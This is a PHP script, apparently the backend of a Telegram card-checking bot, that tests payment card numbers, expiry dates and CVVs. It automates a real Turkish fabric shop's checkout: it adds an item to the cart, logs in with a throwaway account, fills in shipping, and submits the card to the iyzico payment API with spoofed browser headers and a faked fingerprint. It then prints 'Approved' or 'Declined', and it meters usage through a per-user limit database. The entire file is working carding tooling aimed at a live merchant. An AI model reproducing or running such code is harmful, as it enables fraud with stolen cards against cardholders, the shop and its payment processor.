<?php
// İyzico Checker - kumassanbursa.com
// URL parametreleri: ?kart=CARDNO|MM|YY|CVV&chatid=CHATID&debug=1

header('Content-Type: text/plain; charset=utf-8');

$timestamp_start = microtime(true);

// Database connection
function getDBConnection() {
    $host = 'localhost';
    $dbname = 'checkerbotdb3';
    $username = 'root';
    $password = '';
    
    try {
        $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch(PDOException $e) {
        die("❌ Database connection failed");
    }
}

// Get current limit
function getCurrentLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("SELECT iyzicolimit FROM users WHERE chatid = ?");
    $stmt->execute([$chatid]);
    $result = $stmt->fetch(PDO::FETCH_ASSOC);
    return $result ? intval($result['iyzicolimit']) : 0;
}

// Decrement limit
function decrementLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("UPDATE users SET iyzicolimit = GREATEST(iyzicolimit - 1, 0) WHERE chatid = ?");
    $stmt->execute([$chatid]);
}

// Parametreleri al
if (!isset($_GET['kart'])) {
    die("❌ Kart bilgisi eksik. Kullanim: ?kart=CARDNO|MM|YY|CVV&chatid=CHATID&debug=1");
}

if (!isset($_GET['chatid'])) {
    die("❌ chatid eksik");
}

$chatid = $_GET['chatid'];

// Database connection ve limit kontrolü
$pdo = getDBConnection();
$current_limit = getCurrentLimit($pdo, $chatid);

if ($current_limit <= 0) {
    die("❌ Limit Exhausted | 𝐈𝐘𝐙𝐈𝐂𝐎𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// Limit'i azalt
decrementLimit($pdo, $chatid);
$remaining_limit = $current_limit - 1;

$kart_bilgisi = explode('|', $_GET['kart']);
if (count($kart_bilgisi) != 4) {
    die("❌ Kart formatı hatalı. Format: CARDNO|MM|YY|CVV");
}

$card_number = $kart_bilgisi[0];
$expire_month = $kart_bilgisi[1];
$expire_year = $kart_bilgisi[2];
$cvv = $kart_bilgisi[3];
$chatid = $_GET['chatid'] ?? 'unknown';

// Cookie dosyası
$cookie_file = __DIR__ . "/cookie_{$chatid}.txt";
@unlink($cookie_file);

// cURL başlat
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_ENCODING, "");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);

// 1. Ana sayfa - Cookie'leri çek
$homepage_url = "https://www.kumassanbursa.com/";

curl_setopt($ch, CURLOPT_URL, $homepage_url);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7",
    "Accept-Encoding: gzip, deflate",
    "Cache-Control: max-age=0",
    "Sec-Ch-Ua: \"Not_A Brand\";v=\"99\", \"Chromium\";v=\"143\"",
    "Sec-Ch-Ua-Mobile: ?0",
    "Sec-Ch-Ua-Platform: \"Windows\"",
    "Sec-Fetch-Dest: document",
    "Sec-Fetch-Mode: navigate",
    "Sec-Fetch-Site: none",
    "Sec-Fetch-User: ?1",
    "Upgrade-Insecure-Requests: 1"
]);

$response = curl_exec($ch);

// Cookie'leri al
$cookies = curl_getinfo($ch, CURLINFO_COOKIELIST);

// anticsrf'i parse et
$anticsrf = '';
foreach ($cookies as $cookie) {
    if (strpos($cookie, 'anticsrf') !== false) {
        $parts = explode("\t", $cookie);
        $anticsrf = end($parts);
        break;
    }
}

if (isset($_GET['debug'])) {
    echo "<h3>Step 1 - Homepage:</h3>";
    echo "<pre>";
    echo "HTTP Code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "\n";
    echo "URL: " . curl_getinfo($ch, CURLINFO_EFFECTIVE_URL) . "\n";
    echo "anticsrf: " . $anticsrf . "\n";
    echo "</pre>";
    
    echo "<h3>Cookies:</h3>";
    echo "<pre>";
    print_r($cookies);
    echo "</pre>";
}

// 2. Sepete ürün ekle
$add_to_cart_url = "https://www.kumassanbursa.com/cart/add_item";
$post_data = "anticsrf={$anticsrf}&productId=4007&quantity=1";

curl_setopt($ch, CURLOPT_URL, $add_to_cart_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept: */*",
    "Content-Type: application/x-www-form-urlencoded; charset=UTF-8",
    "X-Requested-With: XMLHttpRequest",
    "Origin: https://www.kumassanbursa.com",
    "Referer: https://www.kumassanbursa.com/",
    "Sec-Ch-Ua: \"Chromium\";v=\"143\", \"Not A(Brand\";v=\"24\"",
    "Sec-Ch-Ua-Mobile: ?0",
    "Sec-Ch-Ua-Platform: \"Windows\"",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Sec-Fetch-Site: same-origin",
    "Sec-Fetch-Mode: cors",
    "Sec-Fetch-Dest: empty",
    "Accept-Encoding: gzip, deflate",
    "Priority: u=1, i"
]);

$response2 = curl_exec($ch);

// Header ve body ayır
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers2 = substr($response2, 0, $header_size);
$body2 = substr($response2, $header_size);

// Sepet fiyatını parse et
$cart_price = 60; // default
$cart_data = json_decode($body2, true);
if (isset($cart_data['data']['cart']['price'])) {
    $cart_price = floatval($cart_data['data']['cart']['price']);
}

if (isset($_GET['debug'])) {
    echo "<h3>Step 2 - Add to Cart Headers:</h3>";
    echo "<pre>" . htmlspecialchars($headers2) . "</pre>";
    
    echo "<h3>Step 2 - Response Body:</h3>";
    echo "<pre>" . htmlspecialchars($body2) . "</pre>";
}

// 3. Üye girişi
$login_url = "https://www.kumassanbursa.com/uye-girisi?next=order2";
$post_data_login = "email=aasd5656165asd%40asdad.com&pass=aasd5656165asd";

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data_login);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Content-Type: application/x-www-form-urlencoded",
    "Origin: https://www.kumassanbursa.com",
    "Referer: https://www.kumassanbursa.com/uye-girisi?next=order2",
    "Sec-Ch-Ua: \"Chromium\";v=\"143\", \"Not A(Brand\";v=\"24\"",
    "Sec-Ch-Ua-Mobile: ?0",
    "Sec-Ch-Ua-Platform: \"Windows\"",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Cache-Control: max-age=0",
    "Upgrade-Insecure-Requests: 1",
    "Sec-Fetch-Site: same-origin",
    "Sec-Fetch-Mode: navigate",
    "Sec-Fetch-User: ?1",
    "Sec-Fetch-Dest: document",
    "Accept-Encoding: gzip, deflate",
    "Priority: u=0, i"
]);

$response_login = curl_exec($ch);

// Header ve body ayır
$header_size_login = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers_login = substr($response_login, 0, $header_size_login);
$body_login = substr($response_login, $header_size_login);

if (isset($_GET['debug'])) {
    echo "<h3>Step 3 - Login Headers:</h3>";
    echo "<pre>" . htmlspecialchars($headers_login) . "</pre>";
    
    echo "<h3>Step 3 - Login Response (first 2000 chars):</h3>";
    echo "<pre>" . htmlspecialchars(substr($body_login, 0, 2000)) . "</pre>";
}

// anticsrf'i güncelle (login'den sonra yeni set ediliyor)
$cookies = curl_getinfo($ch, CURLINFO_COOKIELIST);
foreach ($cookies as $cookie) {
    if (strpos($cookie, 'anticsrf') !== false) {
        $parts = explode("\t", $cookie);
        $anticsrf = end($parts);
        break;
    }
}

// 4. Step3 form gönder
$step3_url = "https://www.kumassanbursa.com/order/step3";

// Multipart boundary oluştur
$boundary = "----WebKitFormBoundary" . bin2hex(random_bytes(8));

// Multipart form data
$multipart = "";
$fields = [
    'differentBillingAddress' => 'on',
    'shippingAddressId' => '2062',
    'shippingCountryCode' => 'TR',
    'billingAddressId' => '2063',
    'shippingCompanyId' => '13',
    'giftNote' => '',
    'anticsrf' => $anticsrf
];

foreach ($fields as $name => $value) {
    $multipart .= "--{$boundary}\r\n";
    $multipart .= "Content-Disposition: form-data; name=\"{$name}\"\r\n\r\n";
    $multipart .= "{$value}\r\n";
}
$multipart .= "--{$boundary}--\r\n";

curl_setopt($ch, CURLOPT_URL, $step3_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $multipart);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Content-Type: multipart/form-data; boundary={$boundary}",
    "Origin: https://www.kumassanbursa.com",
    "Referer: https://www.kumassanbursa.com/order/step2",
    "Sec-Ch-Ua: \"Chromium\";v=\"143\", \"Not A(Brand\";v=\"24\"",
    "Sec-Ch-Ua-Mobile: ?0",
    "Sec-Ch-Ua-Platform: \"Windows\"",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Cache-Control: max-age=0",
    "Upgrade-Insecure-Requests: 1",
    "Sec-Fetch-Site: same-origin",
    "Sec-Fetch-Mode: navigate",
    "Sec-Fetch-User: ?1",
    "Sec-Fetch-Dest: document",
    "Accept-Encoding: gzip, deflate",
    "Priority: u=0, i"
]);

$response_step3 = curl_exec($ch);

// Header ve body ayır
$header_size_step3 = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers_step3 = substr($response_step3, 0, $header_size_step3);
$body_step3 = substr($response_step3, $header_size_step3);

if (isset($_GET['debug'])) {
    echo "<h3>Step 4 - Step3 Form Headers:</h3>";
    echo "<pre>" . htmlspecialchars($headers_step3) . "</pre>";
    
    echo "<h3>Step 4 - Step3 Response (first 3000 chars):</h3>";
    echo "<pre>" . htmlspecialchars(substr($body_step3, 0, 3000)) . "</pre>";
}

// 5. İyzico prepare-form
$prepare_url = "https://www.kumassanbursa.com/order/iyzico/prepare-form";
$post_data3 = "anticsrf={$anticsrf}&paymentAgreementOk=0";

curl_setopt($ch, CURLOPT_URL, $prepare_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data3);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept: */*",
    "Content-Type: application/x-www-form-urlencoded; charset=UTF-8",
    "X-Requested-With: XMLHttpRequest",
    "Origin: https://www.kumassanbursa.com",
    "Referer: https://www.kumassanbursa.com/order/step3",
    "Sec-Ch-Ua: \"Chromium\";v=\"143\", \"Not A(Brand\";v=\"24\"",
    "Sec-Ch-Ua-Mobile: ?0",
    "Sec-Ch-Ua-Platform: \"Windows\"",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Sec-Fetch-Site: same-origin",
    "Sec-Fetch-Mode: cors",
    "Sec-Fetch-Dest: empty",
    "Accept-Encoding: gzip, deflate",
    "Priority: u=1, i"
]);

$response3 = curl_exec($ch);

// Header ve body ayır
$header_size3 = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers3 = substr($response3, 0, $header_size3);
$body3 = substr($response3, $header_size3);

if (isset($_GET['debug'])) {
    echo "<h3>Step 5 - Prepare Form Response:</h3>";
    echo "<pre>" . htmlspecialchars($body3) . "</pre>";
}

// Token'ı parse et
$token = '';
if (preg_match('/token:"([^"]+)"/', $body3, $match)) {
    $token = $match[1];
}

// paidPrice'ı parse et (prepare-form'dan gelen gerçek tutar)
$paid_price = $cart_price; // fallback
if (preg_match('/price:([0-9.]+)/', $body3, $price_match)) {
    $paid_price = floatval($price_match[1]);
}

// 6. İyzico API Payment
$iyzico_api_url = "https://api.iyzipay.com/payment/iyzipos/checkoutform/auth/ecom";

$payment_data = [
    'installment' => 1,
    'paidPrice' => $paid_price,
    'paymentChannel' => 'WEB',
    'paymentCard' => [
        'cardNumber' => $card_number,
        'cardHolderName' => 'asdas sadad',
        'expireYear' => $expire_year,
        'expireMonth' => $expire_month,
        'cvc' => $cvv,
        'registerConsumerCard' => false,
        'registerCard' => 0
    ],
    'browserFingerprint' => [
        'language' => 'tr',
        'timezone' => -180,
        'hasSessionStorage' => true,
        'hasLocalStorage' => true,
        'hasIndexedDb' => true,
        'hasOpenDb' => true,
        'platform' => 'false',
        'hasLiedLanguage' => false,
        'hasLiedResolution' => false,
        'hasLiedOS' => false,
        'hasLiedBrowser' => false,
        'maxTouchPoints' => 0,
        'touchEventSuccess' => false,
        'hasTouchStart' => false,
        'fingerprintHash' => ''
    ]
];

$json_data = json_encode($payment_data);

curl_setopt($ch, CURLOPT_URL, $iyzico_api_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept: application/json",
    "Content-Type: application/json",
    "X-Iyzi-Token: {$token}",
    "Origin: https://www.kumassanbursa.com",
    "Referer: https://www.kumassanbursa.com/",
    "Sec-Ch-Ua: \"Chromium\";v=\"143\", \"Not A(Brand\";v=\"24\"",
    "Sec-Ch-Ua-Mobile: ?0",
    "Sec-Ch-Ua-Platform: \"Windows\"",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Sec-Fetch-Site: cross-site",
    "Sec-Fetch-Mode: cors",
    "Sec-Fetch-Dest: empty",
    "Accept-Encoding: gzip, deflate",
    "Priority: u=1, i",
    "Connection: keep-alive"
]);

$response_final = curl_exec($ch);

// Header ve body ayır
$header_size_final = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers_final = substr($response_final, 0, $header_size_final);
$body_final = substr($response_final, $header_size_final);

// JSON parse
$json = json_decode($body_final, true);

// Elapsed time hesapla
$elapsed = number_format(microtime(true) - ($_SERVER['REQUEST_TIME_FLOAT'] ?? microtime(true)), 1);

// Status kontrolü
$is_success = (isset($json['status']) && $json['status'] == 'success');

if ($is_success) {
    echo "✅ Approved | {$card_number}|{$expire_month}|{$expire_year}|{$cvv} ({$elapsed}s) Limit:{$remaining_limit} 𝐈𝐘𝐙𝐈𝐂𝐎𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} else {
    $error = "Declined";
    if (isset($json['errorMessage'])) {
        $error = $json['errorMessage'];
    } elseif (isset($json['paymentStatus'])) {
        $error = $json['paymentStatus'];
    } elseif (isset($json['message'])) {
        $error = $json['message'];
    }
    echo "❌ {$error} | {$card_number}|{$expire_month}|{$expire_year}|{$cvv} ({$elapsed}s) Limit:{$remaining_limit} 𝐈𝐘𝐙𝐈𝐂𝐎𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
}

if (isset($_GET['debug'])) {
    echo "\n\n<h3>Debug - İyzico API Response:</h3>";
    echo "<pre>";
    echo "Token: " . $token . "\n";
    echo "HTTP Code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "\n\n";
    echo "Response:\n" . htmlspecialchars($body_final);
    echo "</pre>";
}

curl_close($ch);
@unlink($cookie_file);
?>
